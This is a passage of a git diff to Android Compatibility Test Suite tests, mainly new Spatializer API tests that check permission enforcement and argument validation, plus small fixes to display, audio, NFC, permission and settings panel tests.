+                    Manifest.permission.HDMI_CEC,
+                    Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+
+    private DisplayManager mDisplayManager;
+    private int mInitialRefreshRateSwitchingType;
 
     @Before
     public void setUp() throws Exception {
-        // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame
-        // rate flexibility token. Switch to shell permission identity so we'll have the
-        // necessary permission when surface flinger checks.
-        UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
-        uiAutomation.adoptShellPermissionIdentity();
-
         Context context = getInstrumentation().getTargetContext();
         assertTrue("Physical display is expected.", DisplayUtil.isDisplayConnected(context));
 
-        try {
-            // Take ownership of the frame rate flexibility token, if we were able
-            // to get one - we'll release it in tearDown().
-            mFrameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken();
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
 
-        if (mFrameRateFlexibilityToken == 0) {
-            Log.e(TAG, "Failed to acquire frame rate flexibility token."
-                    + " SetFrameRate tests may fail.");
-        }
+        // Prevent DisplayManager from limiting the allowed refresh rate range based on
+        // non-app policies (e.g. low battery, user settings, etc).
+        mDisplayManager = activity.getSystemService(DisplayManager.class);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+
+        mInitialRefreshRateSwitchingType = DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
+        mDisplayManager.setRefreshRateSwitchingType(
+                DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS);
     }
 
     @After
     public void tearDown() {
-        if (mFrameRateFlexibilityToken != 0) {
-            SurfaceControl.releaseFrameRateFlexibilityToken(mFrameRateFlexibilityToken);
-            mFrameRateFlexibilityToken = 0;
+        if (mDisplayManager != null) {
+            mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index e51f010..f5c4ffd 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -263,6 +263,10 @@
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
     public void testSpeakerphoneIntent() throws Exception {
+        //  Speaker Phone Not supported in Automotive
+        if (isAutomotive()) {
+            return;
+        }
         final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
                 AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED);
         final boolean initialSpeakerphoneState = mAudioManager.isSpeakerphoneOn();
@@ -450,6 +454,10 @@
         assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(),
                 DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true");
 
+        //  Speaker Phone Not supported in Automotive
+        if (isAutomotive()) {
+            return;
+        }
         mAudioManager.setSpeakerphoneOn(true);
         assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(),
                 DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false");
@@ -1942,6 +1950,12 @@
         assertTrue(errorString, result);
     }
 
+    private boolean isAutomotive() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+
     // getParameters() & setParameters() are deprecated, so don't test
 
     // setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes()
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index 96ae72a..cea55c7 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -226,6 +226,7 @@
         MediaCodec decoder = null;
         OutputSurface outputSurface = null;
         VirtualDisplay virtualDisplay = null;
+        ColorSlideShow slideShow = null;
 
         try {
             // Encoded video resolution matches virtual display.
@@ -265,13 +266,19 @@
 
             // Run the color slide show on a separate thread.
             mInputDone = false;
-            new ColorSlideShow(virtualDisplay.getDisplay()).start();
+            slideShow = new ColorSlideShow(virtualDisplay.getDisplay());
+            slideShow.start();
 
             // Record everything we can and check the results.
             doTestEncodeVirtual(encoder, decoder, outputSurface);
 
         } finally {
             if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display");
+            if (slideShow != null) {
+                try {
+                    slideShow.join();
+                } catch (InterruptedException ignore) {}
+            }
             if (virtualDisplay != null) {
                 virtualDisplay.release();
             }
diff --git a/tests/tests/media/src/android/media/cts/SpatializerTest.java b/tests/tests/media/src/android/media/cts/SpatializerTest.java
index 0ab5ff5..d38bad3 100644
--- a/tests/tests/media/src/android/media/cts/SpatializerTest.java
+++ b/tests/tests/media/src/android/media/cts/SpatializerTest.java
@@ -21,6 +21,8 @@
 import android.annotation.NonNull;
 import android.content.Context;
 import android.media.AudioAttributes;
+import android.media.AudioDeviceAttributes;
+import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.Spatializer;
@@ -29,6 +31,10 @@
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.internal.annotations.GuardedBy;
 
+import org.junit.Assert;
+
+import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.Executors;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -38,6 +44,7 @@
 
     private AudioManager mAudioManager;
     private static final String TAG = "SpatializerTest";
+    private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
 
     @Override
     protected void setUp() throws Exception {
@@ -45,12 +52,17 @@
         mAudioManager = (AudioManager) getContext().getSystemService(AudioManager.class);
     }
 
-    public void testGetSpatializer() {
+    @Override
+    protected void tearDown() throws Exception {
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testGetSpatializer() throws Exception {
         Spatializer spat = mAudioManager.getSpatializer();
         assertNotNull("Spatializer shouldn't be null", spat);
     }
 
-    public void testUnsupported() {
+    public void testUnsupported() throws Exception {
         Spatializer spat = mAudioManager.getSpatializer();
         if (spat.getImmersiveAudioLevel() != Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
             Log.i(TAG, "skipping testUnsupported, functionality supported");
@@ -60,7 +72,234 @@
         assertFalse(spat.isAvailable());
     }
 
-    public void testSpatializerStateListenerManagement() {
+    public void testSupportedDevices() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testSupportedDevices, functionality unsupported");
+            return;
+        }
+
+        final AudioDeviceAttributes device = new AudioDeviceAttributes(
+                AudioDeviceAttributes.ROLE_OUTPUT, AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "bla");
+        // try to add/remove compatible device without permission, expect failure
+        assertThrows("Able to call addCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.addCompatibleAudioDevice(device));
+        assertThrows("Able to call removeCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.removeCompatibleAudioDevice(device));
+        assertThrows("Able to call getCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.getCompatibleAudioDevices());
+
+        // try again with permission, then add a device and remove it
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        spat.addCompatibleAudioDevice(device);
+        List<AudioDeviceAttributes> compatDevices = spat.getCompatibleAudioDevices();
+        assertTrue("added device not in list of compatible devices",
+                compatDevices.contains(device));
+        spat.removeCompatibleAudioDevice(device);
+        compatDevices = spat.getCompatibleAudioDevices();
+        assertFalse("removed device still in list of compatible devices",
+                compatDevices.contains(device));
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testHeadTrackingListener() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testHeadTrackingListener, functionality unsupported");
+            return;
+        }
+
+        // try to call any head tracking method without permission
+        assertThrows("Able to call getHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.getHeadTrackingMode());
+        assertThrows("Able to call getDesiredHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.getDesiredHeadTrackingMode());
+        assertThrows("Able to call getSupportedHeadTrackingModes without permission",
+                SecurityException.class,
+                () -> spat.getSupportedHeadTrackingModes());
+        assertThrows("Able to call setDesiredHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.setDesiredHeadTrackingMode(
+                        Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE));
+        final MyHeadTrackingModeListener listener = new MyHeadTrackingModeListener();
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener without permission",
+                SecurityException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+                        listener));
+        assertThrows("Able to call removeOnHeadTrackingModeChangedListener without permission",
+                SecurityException.class,
+                () -> spat.removeOnHeadTrackingModeChangedListener(listener));
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+        // argument validation
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(null, listener));
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+                        null));
+        assertThrows("Able to call removeOnHeadTrackingModeChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.removeOnHeadTrackingModeChangedListener(null));
+
+        // test of functionality
+        spat.setEnabled(true);
+        List<Integer> supportedModes = spat.getSupportedHeadTrackingModes();
+        Assert.assertNotNull("Invalid null list of tracking modes", supportedModes);
+        Log.i(TAG, "Reported supported head tracking modes:"+ supportedModes);
+        if (!supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
+                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
+                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER)) {
+            // no head tracking is supported, verify it is correctly reported by the API
+            assertEquals("When no head tracking mode supported, list of modes must be empty",
+                    0, supportedModes.size());
+            // TODO: to be enforced
+            //assertEquals("Invalid mode when no head tracking mode supported",
+            //        Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
+            Log.i(TAG, "no headtracking modes supported, stop test");
+            return;
+        }
+        int trackingModeToUse;
+        if (supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)) {
+            trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE;
+        } else {
+            trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD;
+        }
+        spat.setDesiredHeadTrackingMode(Spatializer.HEAD_TRACKING_MODE_DISABLED);
+        spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(), listener);
+        spat.setDesiredHeadTrackingMode(trackingModeToUse);
+        Integer observedDesired = listener.getDesired();
+        assertNotNull("No desired head tracking mode change reported", observedDesired);
+        assertEquals("Wrong reported desired tracking mode", trackingModeToUse,
+                observedDesired.intValue());
+        assertEquals("Set desired mode not returned by getter", spat.getDesiredHeadTrackingMode(),
+                trackingModeToUse);
+        final int actualMode = spat.getHeadTrackingMode();
+        // not failing test if modes differ, just logging
+        if (trackingModeToUse != actualMode) {
+            Log.i(TAG, "head tracking mode desired:" + trackingModeToUse + " actual mode:"
+                    + actualMode);
+        }
+        spat.removeOnHeadTrackingModeChangedListener(listener);
+    }
+
+    public void testSpatializerOutput() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testSpatializerOutput, functionality unsupported");
+            return;
+        }
+
+        // try to call any output method without permission
+        assertThrows("Able to call getOutput without permission",
+                SecurityException.class,
+                () -> spat.getOutput());
+        final MyOutputChangedListener listener = new MyOutputChangedListener();
+        assertThrows("Able to call setOnSpatializerOutputChangedListener without permission",
+                SecurityException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(
+                        Executors.newSingleThreadExecutor(), listener));
+        assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+                SecurityException.class,
+                () -> spat.clearOnSpatializerOutputChangedListener());
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+        // argument validation
+        assertThrows("Able to call setOnSpatializerOutputChangedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(null, listener));
+        assertThrows("Able to call setOnSpatializerOutputChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(
+                        Executors.newSingleThreadExecutor(), null));
+
+        spat.getOutput();
+        // output doesn't change upon playback, so at this point only exercising
+        // registering / clearing of output listener under permission
+        spat.clearOnSpatializerOutputChangedListener(); // this is to clear the client listener ref
+        spat.setOnSpatializerOutputChangedListener(Executors.newSingleThreadExecutor(), listener);
+        spat.clearOnSpatializerOutputChangedListener();
+        assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+                IllegalStateException.class,
+                () -> spat.clearOnSpatializerOutputChangedListener());
+    }
+
+    public void testExercisePose() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testExercisePose, functionality unsupported");
+            return;
+        }
+
+        // argument validation
+        assertThrows("Able to call setGlobalTransform without a 6-float array",
+                IllegalArgumentException.class,
+                () -> spat.setGlobalTransform(new float[5]));
+        assertThrows("Able to call setGlobalTransform without a null array",
+                NullPointerException.class,
+                () -> spat.setGlobalTransform(null));
+        final MyPoseUpdatedListener listener = new MyPoseUpdatedListener();
+        assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.setOnHeadToSoundstagePoseUpdatedListener(null, listener));
+        assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null listener",
+                NullPointerException.class,
+                () -> spat.setOnHeadToSoundstagePoseUpdatedListener(
+                        Executors.newSingleThreadExecutor(), null));
+        assertThrows("Able to call clearOnHeadToSoundstagePoseUpdatedListener with no listener",
+                IllegalStateException.class,
+                () -> spat.clearOnHeadToSoundstagePoseUpdatedListener());
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        // TODO once headtracking is properly reported: check pose changes on recenter and transform
+        spat.setOnHeadToSoundstagePoseUpdatedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        // oneway call from client to AudioService, can't check for exception earlier
+        spat.recenterHeadTracker();
+        // oneway call from client to AudioService, can't check for exception earler
+        spat.setGlobalTransform(new float[6]);
+        spat.clearOnHeadToSoundstagePoseUpdatedListener();
+    }
+
+    public void testEffectParameters() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testEffectParameters, functionality unsupported");
+            return;
+        }
+
+        // argument validation
+        assertThrows("Able to call setEffectParameter with null value",
+                NullPointerException.class,
+                () -> spat.setEffectParameter(0, null));
+        assertThrows("Able to call getEffectParameter with null value",
+                NullPointerException.class,
+                () -> spat.getEffectParameter(0, null));
+
+        // permission check
+        byte[] val = new byte[4];
+        assertThrows("Able to call setEffectParameter without permission",
+                SecurityException.class,
+                () -> spat.setEffectParameter(0, val));
+        assertThrows("Able to call getEffectParameter without permission",
+                SecurityException.class,
+                () -> spat.getEffectParameter(0, val));
+    }
+
+    public void testSpatializerStateListenerManagement() throws Exception {
         final Spatializer spat = mAudioManager.getSpatializer();
         final MySpatStateListener stateListener = new MySpatStateListener();
 
@@ -100,7 +339,7 @@
                 () -> spat.removeOnSpatializerStateChangedListener(stateListener));
     }
 
-    public void testMinSpatializationCapabilities() {
+    public void testMinSpatializationCapabilities() throws Exception {
         Spatializer spat = mAudioManager.getSpatializer();
         if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
             Log.i(TAG, "skipping testMinSpatializationCapabilities, no Spatializer");
@@ -140,10 +379,8 @@
                 stateListener);
         getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
-
         spat.setEnabled(!spatEnabled);
-        getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
         assertEquals("VirtualizerStage enabled state differ",
                 !spatEnabled, spat.isEnabled());
         Boolean enabled = stateListener.getEnabled();
@@ -155,61 +392,15 @@
     static class MySpatStateListener
             implements Spatializer.OnSpatializerStateChangedListener {
 
-        private final Object mCbEnaLock = new Object();
-        private final Object mCbAvailLock = new Object();
-        @GuardedBy("mCbEnaLock")
-        private Boolean mEnabled = null;
-        @GuardedBy("mCbEnaLock")
         private final LinkedBlockingQueue<Boolean> mEnabledQueue =
-                new LinkedBlockingQueue<Boolean>();
-        @GuardedBy("mCbAvailLock")
-        private Boolean mAvailable = null;
-        @GuardedBy("mCbAvailLock")
-        private final LinkedBlockingQueue<Boolean> mAvailableQueue =
-                new LinkedBlockingQueue<Boolean>();
+                new LinkedBlockingQueue<Boolean>(1);
 
-        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
         void reset() {
-            synchronized (mCbEnaLock) {
-                synchronized (mCbAvailLock) {
-                    mEnabled = null;
-                    mEnabledQueue.clear();
-                    mAvailable = null;
-                    mAvailableQueue.clear();
-                }
-            }
+            mEnabledQueue.clear();
         }
 
-        Boolean getEnabled() {
-            synchronized (mCbEnaLock) {
-                while (mEnabled == null) {
-                    try {
-                        mEnabled = mEnabledQueue.poll(
-                                LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-                        if (mEnabled == null) { // timeout
-                            break;
-                        }
-                    } catch (InterruptedException e) {
-                    }
-                }
-            }
-            return mEnabled;
-        }
-
-        Boolean getAvailable() {
-            synchronized (mCbAvailLock) {
-                while (mAvailable == null) {
-                    try {
-                        mAvailable = mAvailableQueue.poll(
-                                LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-                        if (mAvailable == null) { // timeout
-                            break;
-                        }
-                    } catch (InterruptedException e) {
-                    }
-                }
-            }
-            return mAvailable;
+        Boolean getEnabled() throws Exception {
+            return mEnabledQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
         }
 
         MySpatStateListener() {
@@ -218,24 +409,53 @@
 
         @Override
         public void onSpatializerEnabledChanged(Spatializer spat, boolean enabled) {
-            synchronized (mCbEnaLock) {
-                try {
-                    mEnabledQueue.put(enabled);
-                } catch (InterruptedException e) {
-                    fail("Failed to put enabled event in queue");
-                }
-            }
+            Log.i(TAG, "onSpatializerEnabledChanged:" + enabled);
+            mEnabledQueue.offer(enabled);
         }
 
         @Override
         public void onSpatializerAvailableChanged(@NonNull Spatializer spat, boolean available) {
-            synchronized (mCbAvailLock) {
-                try {
-                    mAvailableQueue.put(available);
-                } catch (InterruptedException e) {
-                    fail("Failed to put available event in queue");
-                }
-            }
+            Log.i(TAG, "onSpatializerAvailableChanged:" + available);
+        }
+    }
+
+    static class MyHeadTrackingModeListener implements Spatializer.OnHeadTrackingModeChangedListener
+    {
+        private final LinkedBlockingQueue<Integer> mDesiredQueue =
+                new LinkedBlockingQueue<Integer>(1);
+        private final LinkedBlockingQueue<Integer> mRealQueue =
+                new LinkedBlockingQueue<Integer>(1);
+
+        @Override
+        public void onHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+            Log.i(TAG, "onHeadTrackingModeChanged:" + mode);
+            mRealQueue.offer(mode);
+        }
+
+        @Override
+        public void onDesiredHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+            Log.i(TAG, "onDesiredHeadTrackingModeChanged:" + mode);
+            mDesiredQueue.offer(mode);
+        }
+
+        public Integer getDesired() throws Exception {
+            return mDesiredQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    static class MyOutputChangedListener implements Spatializer.OnSpatializerOutputChangedListener
+    {
+        @Override
+        public void onSpatializerOutputChanged(Spatializer spatializer, int output) {
+            Log.i(TAG, "onSpatializerOutputChanged:" + output);
+        }
+    }
+
+    static class MyPoseUpdatedListener implements Spatializer.OnHeadToSoundstagePoseUpdatedListener
+    {
+        @Override
+        public void onHeadToSoundstagePoseUpdated(Spatializer spatializer, float[] pose) {
+            Log.i(TAG, "onHeadToSoundstagePoseUpdated:" + Arrays.toString(pose));
         }
     }
 }
diff --git a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
index f25be15..c769a09 100644
--- a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
+++ b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
@@ -48,6 +48,9 @@
     private static final ComponentName CtsNfcTestService =
             new ComponentName("android.nfc.cts", "android.nfc.cts.CtsMyHostApduService");
 
+    private static final int MAX_TIMEOUT_MS = 5000;
+    private static final int TEST_DURATION_MS = 100;
+
     private NfcAdapter mAdapter;
     private CardEmulation mCardEmulation;
     private Context mContext;
@@ -67,6 +70,7 @@
         Settings.Secure.putString(mContext.getContentResolver(),
                 NFC_PAYMENT_DEFAULT_COMPONENT,
                 CtsNfcTestService.flattenToString());
+        waitPreferredPaymentSettingDone();
     }
 
     @After
@@ -146,4 +150,29 @@
             fail("Unexpected Exception " + e);
         }
     }
+
+    public void waitPreferredPaymentSettingDone() {
+        try {
+            for (int i = 0; i < MAX_TIMEOUT_MS / TEST_DURATION_MS; i++) {
+                CharSequence description =
+                        mCardEmulation.getDescriptionForPreferredPaymentService();
+
+                if (description != null && description.toString().equals(mDescription)) return;
+
+                msleep(TEST_DURATION_MS);
+            }
+
+            fail("Unable to set the preferred payment service");
+        } catch (Exception e) {
+            fail("Unexpected Exception " + e);
+        }
+    }
+
+    private void msleep(int millis) {
+        try {
+            Thread.sleep(millis);
+        } catch (InterruptedException e) {
+            fail("Unexpected Exception " + e);
+        }
+    }
 }
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index b537489..5ebe92c 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -39,8 +39,8 @@
   @Before
   public void setUp() {
       boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
-              && ApiLevelUtil.isAtMost(VERSION_CODES.S));
-      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
+              && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2));
+      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest);
       Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
   }
 
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 4117a78..d6ce2e1 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -435,11 +435,6 @@
         android:label="@string/car_permission_label_collect_car_watchdog_metrics"
         android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/>
 
-    <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE"
-        android:protectionLevel="signature|privileged"
-        android:label="@string/car_permission_label_use_telemetry_service"
-        android:description="@string/car_permission_desc_use_telemetry_service"/>
-
     <permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY"
         android:protectionLevel="signature|privileged"
         android:label="@string/car_permission_label_control_evs_activity"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35ed018..3b20f6d 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -67,6 +67,9 @@
     private static final String MANAGE_COMPANION_DEVICES_PERMISSION
             = "android.permission.MANAGE_COMPANION_DEVICES";
 
+    private static final String ALLOW_SLIPPERY_TOUCHES_PERMISSION
+            = "android.permission.ALLOW_SLIPPERY_TOUCHES";
+
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -441,6 +444,9 @@
                 return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
             case MANAGE_COMPANION_DEVICES_PERMISSION:
                 return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+            case ALLOW_SLIPPERY_TOUCHES_PERMISSION:
+                // In R and S branches, skip this permission
+                return true;
             default:
                 return false;
         }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
index 3cef547..c3b2bb5 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
@@ -26,8 +26,10 @@
 import android.content.Intent
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.FLAG_PERMISSION_REVOKED_COMPAT
+import android.location.LocationManager
 import android.os.Build
 import android.os.Process
+import android.os.UserHandle
 import androidx.test.InstrumentationRegistry
 import androidx.test.filters.SdkSuppress
 import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
@@ -53,6 +55,8 @@
         "android.permission3.cts.usepermission"
     private lateinit var bluetoothAdapter: BluetoothAdapter
     private var bluetoothAdapterWasEnabled: Boolean = false
+    private val locationManager = context.getSystemService(LocationManager::class.java)!!
+    private var locationWasEnabled: Boolean = false
 
     private enum class BluetoothScanResult {
         UNKNOWN, ERROR, EXCEPTION, EMPTY, FILTERED, FULL
@@ -78,6 +82,28 @@
         enableTestMode()
     }
 
+    @Before
+    fun enableLocation() {
+        val userHandle: UserHandle = Process.myUserHandle()
+        locationWasEnabled = locationManager.isLocationEnabledForUser(userHandle)
+        if (!locationWasEnabled) {
+            runWithShellPermissionIdentity {
+                locationManager.setLocationEnabledForUser(true, userHandle)
+            }
+        }
+    }
+
+    @After
+    fun disableLocation() {
+        val userHandle: UserHandle = Process.myUserHandle()
+
+        if (!locationWasEnabled) {
+            runWithShellPermissionIdentity {
+                locationManager.setLocationEnabledForUser(false, userHandle)
+            }
+        }
+    }
+
     @After
     fun disableBluetooth() {
         assumeTrue(supportsBluetooth())
@@ -91,6 +117,9 @@
 
     @Test
     fun testGivenBluetoothIsDeniedWhenScanIsAttemptedThenThenGetEmptyScanResult() {
+        assertTrue("Please enable location to run this test. Bluetooth scanning " +
+                "requires location to be enabled.", locationManager.isLocationEnabled())
+
         assertBluetoothRevokedCompatState(revoked = false)
         // Should return empty while the app does not have location
         assertEquals(BluetoothScanResult.EMPTY, scanForBluetoothDevices())
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 97dfd37..9edd6cc 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -50,10 +50,8 @@
     private static final int TIMEOUT = 8000;
 
     private static final String RESOURCE_DONE = "done";
-    private static final String RESOURCE_INTERNET_DIALOG_DONE = "done_button";
     private static final String RESOURCE_SEE_MORE = "see_more";
     private static final String RESOURCE_TITLE = "panel_title";
-    private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui";
 
     private String mSettingsPackage;
     private String mLauncherPackage;
@@ -98,15 +96,6 @@
     // Check correct package is opened
 
     @Test
-    public void internetDialog_correctPackage() {
-        launchInternetDialog();
-
-        String currentPackage = mDevice.getCurrentPackageName();
-
-        assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
-    }
-
-    @Test
     public void volumePanel_correctPackage() {
         assumeTrue(mHasTouchScreen);
         launchVolumePanel();
@@ -135,28 +124,6 @@
     }
 
     @Test
-    public void internetDialog_doneClosesDialog() {
-        assumeTrue(mHasTouchScreen);
-        // Launch panel
-        launchInternetDialog();
-        String currentPackage = mDevice.getCurrentPackageName();
